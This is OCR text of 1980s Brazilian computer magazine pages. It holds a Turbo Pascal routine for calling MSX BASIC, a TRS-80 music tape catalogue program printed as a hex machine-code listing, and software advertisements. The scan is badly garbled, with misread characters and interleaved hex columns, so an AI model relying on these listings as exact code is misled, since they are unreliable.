$CD/$FO0/$F6 ) ; { CALL FeFOH }
2nd:

LISTAGEM 1

retiva de compilagao (% $1 %), conforme mostrado na listagem 2,
e compile normalmente seu programa.

Como o controle passa ao interpretador em ROM, a veloci-
dade de execucao e as regras sintaticas da linha de argumentos sdo
as mesmas do BASIC. E importante salvar os programas antes de
testa-los, pois em caso de erro o controle permanecerad com o
interpretador.

Espero que tudo o que foi apresentado aqui Ihe seja muito
dtil caro leitor, e que vocé possa fazer tudo aquilo que sempre so-
nhou com o Turbo-Pascal.

Program TesteBAS ;

{ Teste do procedimento BAS.PAS }
{$I bas.pas }

Begin

bas (*'SCREEN2: PLAY"T240L6V12","T240L2V9" :PLAY"RS8O6GABO7DCCED" , "04GOSGE" ") ;
bas('LINE(50,37)-(204,153),2,BF: CIRCLE(128,96),68,11,,.0.8") :

bas('PAINT(128,96),11:SCREENO")
end .

LISTAGEM 2
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Este programa roda em qualquer computador da familia TRS
80 com pelo menos um drive. A idéia da criacao do programa deveu-
se ao fato de que, tendo uma quantidade relativamente grande de
fitas, eu precisava periodicamente de informagoes sobre as musi-
cas gravadas, bem como saber a quantidade de musicas de um de-
terminado género. O programa foi escrito em linguagem Assembler
e a listagem fornecida é a dos codigos de maquina, gerados pe'o
montador.

Ao ser iniciada a execugdo o programa faz uma breve apre-
sentagao e a seguir pede o nome do arquivo de fitas. Se o arquivo
n3o constar no diretdrio é mostrada uma mensagem na tela indi-
cando a nao-existéncia do arquivo, e a pergunta se o arquivo em
questédo deve ou nao ser criado. Se o usuario responder que Nao
(tecla N) o programa questiona se ele pretende reiniciar o progra-
ma (dando uma chance de experimentar outro arquivo) ou encerra-lo
voltando ao DOS. Se o usudrio responder que deseja criar o arqui-
vo (tecla S) o programa criard uma nova entrada no diretério com
o nome do arquivo dado (pode-se finalizar o nome do arquivo por
:1 para indicar que deseja-se criar o arquivo no disco que esta no
drive 1) e ira para 0 menu de opgdes. Se o arquivo ja existir, o pro-
grama entrara diretamente no menu de opcoes. As opgoes 5o as
seguintes:

1. INCLUIR

2. ALTERAR

3. PESQUISA NO VIDEO

4. PESQUISA NA IMPRESSORA
5. RELATORIO

6. FIM

INCLUSAO - O programa pergunta pelo nome da masica (ma-
ximo de 40 caracteres), nome do grupo/cantor(a) (méximo de 40
caracteres) e tipo da mdsica (é apresentada uma tabela com dez
tipos de musica, bastando digitar a letra correspondente ao tipo).
A seguir o programa pergunta de onde a misica foi gravada, apre-
sentando uma tabela com quatro opgdes: disco convencional, sin-
tonizador, fita e disco laser; como na tabela anterior, cada opgao pos-
sui sua letra correspondente. Em seguida o programa pergunta qual
o nimero da fita e em qual lado se encontra a musica. Por fim o pro-
grama pergunta se os dados estdo corretos (DADOS OK <S/N>7?).
Teclando-se N, o programa perguntara novamente todos os dados
e se tudo estiver correto o programa perguntara se ha mais musi-
cas para incluir. Se ndo houver, 0 programa voltara ao menu de op-
¢oes; caso contrario o programa voltaréd a pedir os dados das
musicas.

50 MICRO SISTEMAS

CADASIRO DE FITAS

George Campos

Nota: a cada grupo de 3 mUsicas cadastradas o programa fara
uma gravagao automatica.

PESQUISA NO VIDEO - Aparecerao cinco opgoes: pesquisa por
nome da musica, nome do grupo/cantor(a), tipo de misica, nime-
ro da fita e pela fonte de gravagao (de onde a misica foi gravada).
Na pesquisa por nome da musica o programa procurara no arquivo
pelas musicas que tém o nome indicado pela sequéncia de carac-
teres desejada (se o nome for A o programa procurara no arquivo
as muUsicas que iniciam com a letra A, e assim sucessivamente). O
mesmo vale para a opgao de pesquisa por grupo/cantor(a).

Se nao for encontrado no arguivo o item desejado, 0 progra-
ma informara ao usuario e retorna ao menu. Se o item for encon-
trado serdo mostradas no video a ficha completa da misica e a per-
gunta se o usudario deseja voltar ao menu (tecla CLEAR) ou conti-
nuar a pesquisa (tecla ENTER), podendo assim verificar se ha ou-
tros itens possiveis para aquele tipo de pesquisa. Se todo o arquivo
for pesquisado o programa indicara quantos itens foram encontra-
dos. Isto s6 ocorrera se o usuario pesquisar todo o arquivo e ao me-
nos um item tiver sido encontrado.

PESQUISA NA IMPRESSORA - E similar & pesquisa no video,
e as mesmas possibilidades de pesquisas estéo disponiveis. Ha en-
tretanto algumas recomendagoes:

- S6 use esta modalidade de pesquisa gquando houver uma
impressora acoplada ao computador. Arotina de impressao usada
NAO é a do BIOS. A rotina do BIOS permite a interrupcao da lista-
gem com a tecla BREAK, mas a rotina do programa, nao.

- Cada vez que for utilizada uma das opgoes de impressao,
a cabeca deve estar ajustada de forma a ficar no inicio da pagina.

Todas as paginas impressas s&o numeradas. O salto de pagi-
na e a numeragao sao automaticos, razao pela qual a cabega de im-
pressao deve estar ajustada. No final da pesquisa haverd um resu-
mo indicando o tipo de pesquisa escolhido e a quantidade de itens
encontrados, a fim de facilitar a leitura.

ALTERAR - Primeiro é feita uma pesguisa (mesmas opgoes
da pesquisa de video) para saber se o item desejado consta no ar-
quivo. Quando um item & encontrado, aparecem no video a ficha
da musica e as opgdes de voltar ao menu (tecla CLEAR), continuar
a pesquisa (tecla ENTER) ou alterar aquela ficha (tecla @). Se o usua-
rio pedir a alteracao teré de responder a todas as perguntas da fi-
cha (as mesmas da rotina de inclus&o). Se todos os dados estive-
rem corretos a nova ficha serd gravada no lugar da antiga e o pro-
grama voltard ao menu. S6 uma ficha pode ser alterada por vez.

RELATORIO - S6 deve ser pedido se houver uma impressora
acoplada ao computador. O programa listara todas as musicas exis-




tentes no arquivo (ficha completa de cada) e no final havera um re-
sumo do relatério indicando quantas mUsicas de cada tipo ha no
arquivo. Apos a impressao do relatério o programa volta ao menu.

Para melhor compactacao das fichas das misicas, & interes-
sante fazer a inclusao de trés musicas por bloco, pois o programa
grava automaticamente as fichas em grupos de trés,

DICAS DE GRAVAGAO

O programa pode ser gravado usando-se o DOS500 ou o
NEWDOS. Eu particularmente sugiro o NEWDOS, por um motivo sim-
ples: 0 DOS500 nao pode criar um arquivo com mais de 13 exten-

soes, e 0 augusto leitor pode ter um arquivo imenso de musica em
fitas. Como em um registro podem ser gravadas trés fichas e 13 ex-
tensoes implica em 1419 registros, € sé multiplicar para saber quan-
tas masicas podem ser guardadas num dado arquivo. ISso nao ocor-
re com o NEWDOS.

Sei que dez tipos de musica € muito pouco, porém nao havia
mais espaco disponivel na tabela de rétulos do programa fonte (fo-
ram usados 108 registros, isso porgue no programa fonte eu nao
inclui comentérios), contudo se algum leitor ndo estiver satisfeito
com as opgoes da tabela de tipos, pode escrever a sua propria ta-
bela de tipos de masica.

GR1XA EOSTR. 9202 ECEO: 4D, 484
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EDITOR DE UINHETAS ANINADAS:

ESTE SOFTWARE § UM CAD UOLTR-
DO PARA 0 DESENHO ANINRDO  EM
CONPUTRDORES DN LINHA W3,
CON UN@  GRANDE DIFERENLA
NORMALMENTE 103 CADS B CRIA-
b A0 DE UK DESENHO ¢ BASTANTE
e 298 TRABALHOSA, 0 QUE IT50 ACONTE-
Beseliniitaly " ¢E N0 E.U.R., POIS @ MESHD
PERMITE @ CORTE DE DESEMHOS CRIADOS POR EDITORES GRAFI-
¢os, COM 0 E.U.A. UOCE PODERA CRIAR UINHETAS PARR ABER-
TURAS DE UIBEQ-CASSETE, AUDIO-UISURIS E ABERTURWS SENSA-
CIONAIS PARA PROCRANAS CRIADOS POR UOCE. TODOS 03 “EFEI-
To3 TRIDINENSIONRIS PODERAQ SER USADOS, TAIS COMD: ROTA-
FBES MO3 EXZ0S %, ¥ ¢ Z, AMPLIALKO, REDUGSES, eIRo pE

360 GRAUS E OUTROS INCRIVEIS EFEITAS GQUE SO° UERDY PARA

NCZ$ 150,00 COM DISCO DE S 1/d, SARANTIA N0 CASO DE DANI-
FICRERQ, REPOSICAO RO SER Lankapo foln VERSXO E  WANUAL
DE INSTRULGHES EXCLUSIUQ DR SOFT SRME,

CRUESEADC . S0C0LICIETE SUPER
CATALOGO GRATIS Com (= B

NCYIDADES DR SoF T GRIE .

LoDl W aha

|

I LETTERS SPECIALS DESIGNER"S:

= £ 0 FABULOSO SOFTHARE QUE
 REUOLUCIONAUY A IMFRESSA0 DE

= D0 PADRRG EP30. COM E3TE PRO-
- GRAKWA Uﬂtg PORE IMPRINIR TEXTO
COW URARIOS TIPOS DE LETRAS E
TRARNHG DIFERENTE.

’ ELE ¢ COMPATIUEL COM TGDos o3
ERITURES DE TEXTOS EXISTENTES FARR LIMNHA M4,
REURR COM ESTE PROGRANA UOCE PASSA B CONTAR COM WAIS UM
COHRNDY No BRIIC WS¥: 0 CHD, LBUE  SURSTITUI o COMANDO
LPRINT. TAKBEY 59P0$SIBEL UGCFECEIHR BRNCOS DE ALFABETOS

E ]

.
Lyt

DET;gHEI'!Ho AT 4 d4, ol PORE USAR SHAPES, WINHETAS £
ﬂ¢!s100;00_ COM DIZco DE 5 1/d, GARANTIA Hﬂqgﬂﬁﬂ DE DANI~
FIcaldo, 55?051 o no SER Lanfapo NouR UERSKG E  WARUAL
DE INSTRUFHES.

ENUIE CHEQUE-NOKINAL A SOFT SAME INFORMATICA LTOR. BEHE-
TEWOS SEU PEDIDG EN 24 HORRS. RGUARDE UEM AT HADRCASY Y.

LE'IEB:SEQRBFI(:HS EM INPRESZORAS
A

7000 ED73 2EB2 3E01 3219 403E 4132 2840 3EOF 72350 229B B011 Di17F CDEO 722A 9BBO 2322 $B8O
7010 CD33 0OCD C?01 3I1FF FF21 1B80 1194 3CO1 72460 21D3 7F01 0DOO CDD? 7221 D37F CDSA 1EZR
7020 1800 EDBO 11Dé& 3COL 180D EDBO 1196 3001 7270 9B8O 7323 7223 11D7 7FOE ODCD E072 C%21
‘7030 1800 EDBO 11D& 3Do1 180D EDBO 2153 3EZ2 7280 CO3F 2220 4021 ABBO CD1iB 02ZRA 2040 CD49
7040 2040 217B BOCD 1BO2Z 0100 0QOCD &0C0 0100 7290 0077 FES3 281C FE4E 20F4 2RA04& 822B 2208
7030 00CD 4000 0100 00OCD &000 CDC? 0121 FCE1 72ZR0 8211 FCB1 CD39 44CA 2471 F&CO CDOY 44C3
7060 0432 3500 2310 FB21 403C 2220 4021 287C 72B0 2471 Z21FC 8034 7EFE 0428 03C3 F971 3514
3 7070 CD1B 0221 FCB1 0&19% CDa4o 0OODA 0070 JIEOF 72C0 FC81 CD39 44C3 EA71 2iFC BOZE 233D C8i1
7080 CD33 0011 FCB1 21FC BOO& 0OOCD 2444 28SB b
7090 2160 7CCD 1BOZ2 3IEOD CD33 0021 827C CD1B ?!bo S500 193D C81ieg FB7E B?28 0323 18F9 70C9
70A0 022A 2040 CD49 0077 FES3 CAll 71iFE 4E20 72E0 1AB%? CB77 2313 18F8 ES7E CD33 OOE1 2310
70BO F3CD C901 2114 3D22 2040 2Z1AS 7CCD 1BOZ 72F0 F7C9 CDCY O13E OFCD 3300 21&C 7DCD 1BOZ
- 70C0 2194 3D22 2040 21BD 7CCD 1BO2 2114 3E22 7300 217D 7F0& 28CD 4000 217D 7DCD 1BOZ 2iRé
70D0 2040 2144 7DCD 1BOZ 2A20 40CD 4900 77FE 731C 7FO0& 28CD 4000 CDS1 7321 803E 2220 40CD
70E0 31CR 0070 FE32 CACS 7118 F021 C&80 3501 7320 OA74 21RA0 3C22 2040 Z1B4 7DCD 1BOZ 21iD3
b 7330 7F04 03CD 4000 21RA0 3EZ22 2040 21C5 7DCD
7O0F0 FEOO 2830 FS3E ODCD 3300 FiFs COCD 0944 7340 1BO2 21D7 7F0& 01CD 4000 21C0 3F22 2040
7100 11FC BICD 2844 CDC9? 013E OFCD 3300 C3B1 7350 C%21 8F7D CD1B 022R 2040 ES3E ODCD 32300
7110 7021 C&BO 34600 11FC B121 FCBO 04600 CDZ20 7360 3EOD CD33 0011 D47D ZA20 40ES5 ESOE ODCD
7120 44C3 F070 CDCY 013E OFCD 3300 21SE 3Cz2 7370 EC72 E111 2000 1911 E47D CDEO 72Ei 1140
7130 2040 21CE 7CCD 1BO2 219E 3C22 2040 2iD3 7380 0019 ESES 11EF 7DCD E07Z Ei1i1i 2000 1911
7140 7CCD 1BO2 2114 3D22 2040 Z1ED 7CCD 1BO2 7390 0O27E CDEO 72E1 1140 0019 ESES 1110 7ECD
7150 2154 3D22 2040 21F8 7CCD 1BOZ2 2194 3ID22 73RA0 E072 E111 2000 1911 1D7E CDEO 72E1 1140
7140 2040 2103 7DCD 1B0OZ2 21D4 3D22 2040 2118 73BO 0019 ESES 1127 7ECD EO72 Eiil 2000 1911
7170 7DCD 1BO2 2114 3E22 2040 2132 7DCD iBO2 b
7180 2154 3E22 2040 213F 7DCD 1BOZ2 2114 3F22 75%0 337E CDEO 72E1 1140 Q019 ES11 447E CDEO
7190 2040 2146 7DCD 1BO2 ZAZ20 40CD 4900 77FE 73D0 72E1 1120 0019 114E 7ECD E072 E122 2040
71RO 31CA D571 FE3Z2 CR1A 7&4FE 3I3CA 7B74 FE34 73E0 21CF 7F0& 01CD 4000 Z1CF 7F7E FE41 DAF7
71B0 CRER 7SFE 3SCA 5179 FE3& CACC 7118 DCii 73F0 73FE &4BDZ F773 C92A 2040 7DE& CO6F 0140 :
71CO0 FCB1 CD28 44ED 7B2E 82C3Z 2D40 11FC 81CD 7400 O00B7 ED4Z 2220 40C3 5173 ZiA0 7DCD 1BOZ
71D0 2844 C3IB1 70CD C%01 3ZEOD CD33Z 003Q CaBD 7410 Z2A20 40ES 3EOD CD33 OO3E ODCD 3300 2ZAZ0
b 7420 40ES ES11 D97F OEOD CDEGC 72Ei 1120 0019 l
71E0 FEOO 2804 11FC BICD 4844 21FC 8034 OLES 7430 11EB 7FCD EO72 E111 4000 19ES 11iFé& 7FCD
71F0 2306 FF3& 2023 10FB EICD FF71 C318 72CD 7440 E072 Ei11 2000 1911 0980 CDEO 72E1 2220 I
7200 F272 215A 7DCD 1BOZ 2R20 40CD 4500 77FE 7450 4021 D17F 0&01 CD40 0021 D1i7F 7EFE 4iDA
7210 4E28 ECFE 5320 F4C% CDE8 72CD 2172 C37F 7460 6874 FE4S D26B 74C9 2R20 407D E&CO &FOL l
7220 7222 9B80 117D 7FOE ODCD EO72 2R9E 8011 7470 4000 B7ED 4222 2040 C30A 7421 7C77 229F
7230 2800 1922 9B8O 11R& 7FCD EO72Z 1128 002A 7480 B03E 0032 DCBO 21F8 7E22Z A380 ED73 9D8O
7240 $BBO 1922 9$BB0O 11CF 7FCD EO72 2ZA%E BOZ3 7490 214C 7822 AS80 CD79 7&FE 3I1iCA EE74 FE32,
b
g:o» EHF TERT H(CG &: : ; & S BEMETEMOS
s ¥FFFE % > R4 % PARA TODO
S = q& ab- €% BRASIL.
SDD::: ,(_ ) & CCCG:} “: ; ENVIE CHEQUE —HNOMIMNRL E



74R0

74B0
74C0
74D0
74E0Q
74F0
7500
7510
7520
7530
7540
7550
7560
7570
7380
7390

/=
75R0
7580
75C0
75D0O
7SE0
75F0
7600
7610
7620
7&30
7640
74850
786560
7&70
7680

76920
7600
7&B0
76C0
76D0
76E0

CA20 7SFE 33CA 5275

CDOA 7421 DP?7E 22R%
R780 21RO 7D22 CCEBO
7E22 €980 3EO01 32D8B
A180 2151 0022 CE80
7D22 CCBO 215C 7EZ22
2ZA7 BO3E 2832 CBS8O
7722 RA180 2100 0022
217D 7D22 CCBO 217B
C7B0 22AR7 BO3E 2832
214E 7722 A180 2128
447R CDC%? 01CD 5173
7FCD &C7B 22R7 8021
22C7 8021 787E 22C°9
8021 &E77 22A1 8021
C3446 7RA21 B47D 22CC

D3I7F 22C7 BO3E 0332
0477 21D3 7F22 RA780
7FCD SA1E EDS3I DO8O
D37F 0100 ODCD D772
0022 CESO CD1F 77C32
2101 0022 DDBO ZE4L
210C 76ES FSCS DSEC
8021 F87E 22R3 80C3
214C 7822 RSB0 3IECH
80C3 BC74 CD49 QOFE
78FE 4020 EFZA 0882
B0ozZ1 FCBO CDCC 72ES
CDz21 7228 0&BZ 2ZBZZ
2RE3 8022 0882 C338
2040 2159 7ECD 1BO2

0114 0009 2220 4021
3300 ZAZ20 4001 1400
1B0o2Z 3EOD CD33 00ZA
4021 B77E CDiB 023E
1400 0922 2040 21Dé&
0O03E ODCD 3300 2AZ0

FE34

BOZ21
21D1
8032
CD1F
R?80
CDOS
CEBO
7E22
CEBO
0022
219B
BF7D
BO3IE
3000
BO21

CBEO
010D
11D0O
214E
4467R
2228
ESC3
£174
22DC
iFCcH
22ET
043T
0482
7ACD
3EOD

78B7E
0222
2040
oDCD
7ECD
4001

CR?3

D17F
7F22
CEED
77C3
217D
77CD
CD1F
B%20
CDhoé&
CEE0
7E22
z2CC
D132
22CE
BR7E

3E02
Q0CD
8OED
7722
217D
4£013E
147B
217
Bo21
3270
BOCD
3620
11FC
ce01
CD33

CP1iBE
2040
0114
3300
iBo2
1400

73CD

choa
crao
214E
4&7R
7F2z2
3679
77C3
2106
77CD
CD1F
AF80
8021

CEBOD"

80CD
22R%

ZZD8
D772
S3C7
aigo0
7822
a032
IEGO
o i
2B7F
FEOQT
FF71
2213
81CD
2104
0028

023E
2198
0009
2A20
3EOD
0922

c?01

7C22

‘21Dé&

77E2
214C
C780
21&E
4878
7F22
F&E7°
77C3
21CF
CE7EF
3208
LE 7
goz1

80CD
2103
ol
21582
PFED
2940

Z2pC
FTEO
2223
CR71
FIADT
FBE1
3844
3Cca22
2040

ODCD
7ECD
2220
4001
CD33
2040

7&6F0 2146
7700 F8FE
7710 80CD
7720 FCB1
7730 2100
7740 &443A
7750 &4BC7
7760 E928
7770 8034

7780 8021
7790 7222
77A0 CDiB
77B0 CD33
77C0 7222
77D0 9EBSO
77E0 8023
77F0 ZR9E
7800 ODCD
7810 022A
7820 BOCD
7830 3300
7840 2A9B
7850 2040
7860 3474

7870 F12R
7880 BOC3R
7890 0603
78RO CDF?
78B0 CD4E
78C0 7B2R
78D0 11RO
78E0 OB7C
78F0 CD&4&
7900 2322
7910 2807
7920 03CD
7930 10FB
7940 EDSB

7DCD
3630
1802
CD3F
Q022
ne8o0
803R
D&8O
SAFC

FBEO
B8O
D22A8
00Z1
?BEO
CD&C
22%E
80CD
3300
2B80O
9D0R
2318
8006
ZAA3
CDA9

A180C
D780
Ch4a4
7R11
7B22
B8O
7D06
EBO&
7BZA
?BBO
4FCD
4478
Z2RAAS
c780

iBO2
F4C9
ZAC7
4420
Feg80
21FC
DBEBO
2B22
S80BE

2322
CDCe
$E80
7D7D
3EOD
7EOE
803E
087C
ZA%B
7E32
CDBD
FS3E
01CD
80OCD
QOFE

E?3E
21FC
7BZR
7D7D
?BBO
CD&C
03CDh
ODCD
?B8O
CcD9D
E87R
ZA%B
80E?
B7ED

ZRAZ0 .
cDC9
803A
ogea
2EOL
80CD
SF37
D&BO
D241

F880
0121
0&ZB
CDiB
CD33
ODER
oDCD
OEGD
8023
2141
OFZ1
0oDCD
EB72
iBOGZ2
ODCHR

0132
80CD
9B80
0403
CDF7
7BEB
4478
4478
237E
OACD
2318
BO4E
2AC7
527D

40CD
O13E
CBE8O
22Dé
F2ZD?
CC72
CDAR1
7CBS
77C3

3ADY?
803C
CDES®
n2ZA
0021
2A20
3300
EBZAR
229B
237E
3041
3300
ZARS
3RDC
7178

DABO
cCc72
0628
Ch&as
7R11
0&0D
ZA9B
CDF?7
3221
BDOF
F4CD
CDES8
B0ES
32ZD8

4900
oDCD
47CD
803E
8011
ED4B
2520
ceC3
6177

BOZ1
2220
7222
FBBO
BF7D
40CD
21A0
2040
8021
3222
7EFE
21C3
BOE?
8QFE
BELF

2AF8
229B
CD4E
7B2R
8F7D
ED44
8023
7A11
4123
2130
F77R
7A06
DiOE
803E

77FE
3300
4000
0032
FCBL
CEBO
112ZR
3877
JEOL

FC80O
4021
9E80
Q4628
CD1B
EQ72
7DCD
CDEO
B47D
4123
o028
7DCD
21C4
o028
CR38

8023
8011
7B22
?B8O
0&03
7BCD
229B
B47D
7E32

‘417E

11C5
02CD
OoDnCD
0032

3138
2ACC
Cc?11
DRABO
Cn3é
OZED
9FBO
21D9
32DR

cDeCeC
&C7D
3EOD
CDES
0ZZR
ZRYE
1BOZ
723E
CDhiB
Z229B
0&CD
1BOZ
3Fz22
03C3
7A18

22F8
&C7D
B8O
0428
CD44
F77R
80CD
0403
2241
FEQOQ
7D0&
F77R
EOQ72
DRABOC

JOGOS

* NOVIDADES:
ULTIMOS LAN-
CAMEMTOS
*PACOTES:

Na compra de 50, 100,
e 200 jogos, uma super
oferta.

CONSULTE OU PECA

CATALOGO GRATIS

® DISQUETES,

FICOS P/ msx

°UVHOSESPEcL

G

SOF

ame of Time

TWARE E HARDWARE

Av. Jabaquara, 1598 - sala 8 - (ao lado do Metrd Sadde) - fone.: (011) 581-2739
CEP 04046 — Sao Paulo — SP

new age




7950 C911 FCB1 CD3F 4421 0100 220D 8004 14217 7E70 204D 5553 4943 4103 3I22E 2050 4553 5155
) 7EB0 4953 4120 SO4F 5220 4752 5550 4F2F 4341
7960 DFBO 2600 2310 FBE21 $779 2265 8C2ZR 0882 7E90 4ES4 4F52 2841 2903 332E 2050 4553 5155
7970 2204 80TIE 4132 20840 TEON I229 40ZL 979 7EA0 4953 4120 S04F 5220 S5449 SOA4F 2044 4120
7980 ESFS5 CSDS ESES C314 7B2F 0122 Do 11FC 7EBO 4DS5 5349 4341 0334 2E20 5045 5351 5549
7990 81CD 3444 C3I7S5 7321 DPSn IT4&3A FC2A BELZ 7ECO 5341 2050 4F52 204E 554D 4552 4F20 4441
79R0 9479 2AD& EOZE 22D& 807C BSC2Z £979% CDF7 7EDC 204& 4954 4103 3S2E 2050 4553 S155 4953
79B0 7ACD F77A 11DE8 TCO4 ODCD 447B 2100 09DD 7EE0 4120 444F 5220 464F 4ES54 4520 4445 2047
79C0 21DF 8004 CADD SECC DDSE ©1DD 230D 2319 7ETO 5241 S&41 4341 4F03 3C45 4ES4 4552 3E20
79D0 10F3 CDS7 7ECD F77Aa CDF7 7R2! D47D 22F3 i
79E0 8011 DF8O EDSZ FS80 3EN8 32F7 SISh SEF3 7F00 S041 5241 2043 4F4E 5449 4ESS 4152 2050
79F0 8ODS E10E 20CD EN72 2322 FI80 040D CD4a4 7F10 4552 5155 4953 4120 4FS55 203C 434C 4541
7R00 7BOE 3ACD E27R EDSB FSS™ 1REF 1310 &7CD 7F20 S523E 2050 4152 4120 4D45 4ES5 033C 454E
7A10 S577B 2AFS 8023 2322 FSen EDSPE F280 DSEL 7F30 5445 S23E 2043 4F4E 5449 4ESS 4120 2D2C
7820 OEOD CDEG 7223 22F2 BozZA F780 2232 F780 7F40 3C43 4C45 4152 3E20 S&64F 4CS54 4120 4D4S
7A30 TEQO CA24 71C3 ED79 ED7E $DEC 2008 8223 7F50 4ES5S 202D 203C 403E 2041 4CS4 4552 4103
7A40 22064 32CIT 2471 CDCY ©LZIQ DAEC FEOH 234E FF60 S045 5351 5549 5341 444F 2054 4F44 4F20
e 7F70 4F20 4152 5155 4956 4F2E 2E2E 0300 oggg
7850 2AFE 8022 2141 CD9D OACD BDOF 2A9F 8011 - 7F80 0000 0000 0000 0000 0000 0000 0000 O
7A40 7C77 DFCA 8878 EDSB APR2C 0403 CD4& 7BCD 7F90 0000 0000 0000 0000 0000 0000 0000 0000
7R70 F77A 11D8 7C0&6 ODCD 447B 1133 ¢i04 00CD 7FAO0 Q000 0000 0000 0000 0000 0000 0000 0000
7A80 447B CDF7? 7AC3 9E7P 21D2 3D22 2040 1108 7FBO Q000 0000 0000 0000 0QGO0 0000 0Q00 0000
= 7AS0 7COE ODCD E972 1130 410E 00CD o7z 2112 7FCO 0000 0000 0000 0000 00060 0000 0000 0000

7RA0 3E11 &07F OE03 CDEQ 7221 0000 2040 0001 7FDO 0000 0000 G000 0000 0028 4129 3ID3IE 2044
7ABO 0000 CD&0 OOCZ 2471 EDSE CCBO 112 3ZEDE 7FEO 4953 434F 2043 4F4E S62ZE 0D28 4229 3D3E
7ACO O3CD E0?2 EDSB A73% OEOD CDEQ 7221 523E b
7ADO 1147 7COE 03CD E072 0100 QOCD 6000 C324 7FF0D 2046 4954 410D 2843 293D 3E20 5349 &4ES4
7AE0 71DB F8E& CO0Z20 FRCY CDEL 7879 D3F8 CYOE 8000 4F4E 49SA 4144 4752 OD28 4429 3ID3IE 2044
7AF0 20CD ES87R 10FE C9DD 2128 40DD 7EO0L DDBE B0O10 4953 434F 204C 4153 4552 ODY7 8381 B&B3
7BO0 0028 09DD 2401 OECD CDE3 7ACY OEGC CDES 8020 9497 8394 B4B3 $406 E381 8397 81B7 B384
7B10 7AFS CSDS ESES ZADC 802T 220D 802F 2221 8030 9783 958D 8C34 8580 BSED 8C81 8580 858C
7B20 41CD 9DOA CDBD GFEL D511 Z0&1 2400 CD44& 2040 9C81 8085 B0BS 3085 8D8C 8597 89394 B7B3
7B30 7BOE OACD EB7A CDEE 7aDi 3IEC3 3229 4OEL B0OSO 9180 2080 B793 8183 9781 8397 81B& B394
73 8040 ASR3 B18D BCB1 EBDBC 8480 8080 8580 808C
7E40 D1C1 F1C9 iRBE CEB4F CDEE 7RAL3 1BFé& 7E4F SN2 OSBRSS 3 Shli el SR s Len i mng i nhn
7BS0 CDER 7R22 10Ff £§22 214 CDOD OACD BDOF 8080 4F20 SO4F S220 47435 4F352 47435 2043 414D
7B40 1130 410& ©0CD 4475 CDF? 7879 TEFE 41C3 8090 SO4F 5320 2D20 3139 3839 ODOD 0000 0308
7B70 RAS7E FE42 CABO 7ETE 43CR RBRBTER FE44 CACS 80RC 0000 0000 0000 00?0 0000 004D 4149 332
7BBO 7BFE 45CR Di17B FTE44 CADC 7BFE 47Ca E77% BOBO 554D 4120 494E 434C 53553 414F 203C S532F
7B%0 FE48 CAF2 7BFE 4%CR FD?R 2AF1 2023 22F1 80CO 4EZE 203F 2003 0000 0000 0000 0CO00 0000
7BAO 8021 S47E C%2A DFBO 2322 1Drgo 21DA 7DCY 8000 0000 CO0C2 0000 0000 0000 0000 0000 0000
7BBO ZAE1 8023 22E1 8021 EA7D C92A E33C 2722 — B
7BCO EZ80 21FS 7DCY 28/ES 8023 2255 8021 OB7E
7BDO C52H Z780 2322 =72 I21f 7Iof 20E9 anry
7BEO 22E9 8021 237E CY2R EBBO 2322 EBSC 212D
7BFO 7ECY 2RED 8023 22ED 8021 397E C92a EF80 r
7C00 2322 EF80 214A 7ECY 7EFE 41CA 1C7C FE&42
7C10 CAZ0 7CFE &43CA 247C 210F 80C% Z1DF 7FCY
7C20 21F1 7FC9 21FC 7FCYP &4E4F 4D&4S 2044 4F20
b
7C30 4341 4441 5354 S24F 2044 4153 20446 4954 MSX @ TK 90 ] CO LOR
7C40 4153 203D 3E20 034E 414F 2043 4T4E 535
7C50 4120 4E4F 2041 5251 5549 S&4F 2IZ2S 2E0Z
7C60 4E41 4F20 4558 4953 S645 204F 2043 4144 ( MSX A COLOR N
7C70 4153 5452 4F20 4E4F 2044 4953 434F 2E2E :
7CBO ZEOD 4352 4941 5220 4F20 4341 4441 5354 DOUBLE DRAGON (F) DRACULA
7C90 S24F 204E 4F20 4449 5343 4F20 3CS3 2F4E
7CAC 3E20 3IF20 0331 2E20 5245 494E 4943 4941 DRAGON NINJA (F) CRYSTAL
7CBO 5220 4F20 5052 4F47 5241 4D4i OD3IZ ZEZ0
7CCO S&4F 4CS54& 4152 2041 4F20 444F S30D 4D4S - AFTER BURNER (F) DRACONIA
7CDO 4ESS OD3D 3D3D 3DOD 5245 5355 4D4F 2044 MASK Il (F) F-16
7CEO0 4F20 5245 4C4l1 S44F 5249 4F3Q OD31 ZEZO
7CFO 494E 434C 5549 520D 322E 2041 4054 4552 SOLDIER OF LIGHT SANSLEUTH (FITA)
7DO0 4152 OD33 2E20 5045 5351 5549 5341 204E
7D10 4F20 5649 4445 4FOD 34ZE 2050 4553 5155 METROPOLITAN (DISCO) ZAXXON
> .
7820 4953 4120 4E41 2049 4DSO S245 5353 452 ELITE ADVENTURES
7D30 410D 352E 2052 454C 4154 4TS52 494F OD3& SEMPRE NOVIDADES E MAIS...
7D40 2ZE20 4649 4DOD S155 414C 2041 2053 5541
7DS0 204F 5043 414F 203IF 20032 4441 444F 5320 \ JOGOS E APLICATIVOS ) APLICATIVOS
7D40 4F4B 203C S32F 4E3E 203F 2003 4E4F 4043 E UTILITARIOS
7D70 2044 4120 4DSS 5349 4341 32020 0347 5255
7DB0 SO4F 2ZF43 414E S44F 5228 412° 3A20 0354 (’ TK \ )
7D90 4950 4F20 4441 204D 5553 4943 4138 2003 N
7DAO 464F &4ES4 4520 4445 2047 5241 5641 4341 PECA NOSSO 7 ~
7DBO 4F3A 2003 4ESS 4D4S S24F 2044 4120 4649 : : i
7DCO S441 3AZ0 034C 4144 4F20 4441 2046 4954 \_ CATALOGOGRATIS ) PECA CATALOGO
7DD0 413A 2003 2841 293D 3IE20 524F 4D&1 &4ES4 DE NOSSOS PROGRAMAS
7DEQ 4943 410D 2842 293D 3E20 4A41 SASA OD28 ~
7DFO 4329 3D3E 2049 4ES3 5452 554D 454F S4&1 (NﬁCOMPHADE1DJOGOS GRATUITAMENTE.
ZEQQ0 4COD 2844 293D 3E20 4E4S 5720 4147 450D PARA COLOR OU 8 PARA PACOTES COM
S
7E10 2845 293D 3E20 454D 4241 4C4F OD28 4629
7E20 3D3E 2050 4FS50 0D28 4729 3D3E 2042 5245 MSX A SUA ESRCAQI%PS-IA! 50 JOGOS + DISCO
7E30 414B 0D28 4829 3D3E 2054 4543 484E 4F20 UM
7E40 504F S00D 2849 293D 3EZ0 4DS0 420D 284R k@ANHE o \JGOJOGOS+'D$CO
7ES0 293D 3E20 S524F 434B OD31 2E20 5045 5351
7E&0 5549 5341 2050 4F52 204E &4F&4D 4520 4441 SPADA SOFT_COMPUTADOR‘EIS LTDA.

Rua Carolina Meier, 38/603 Méier

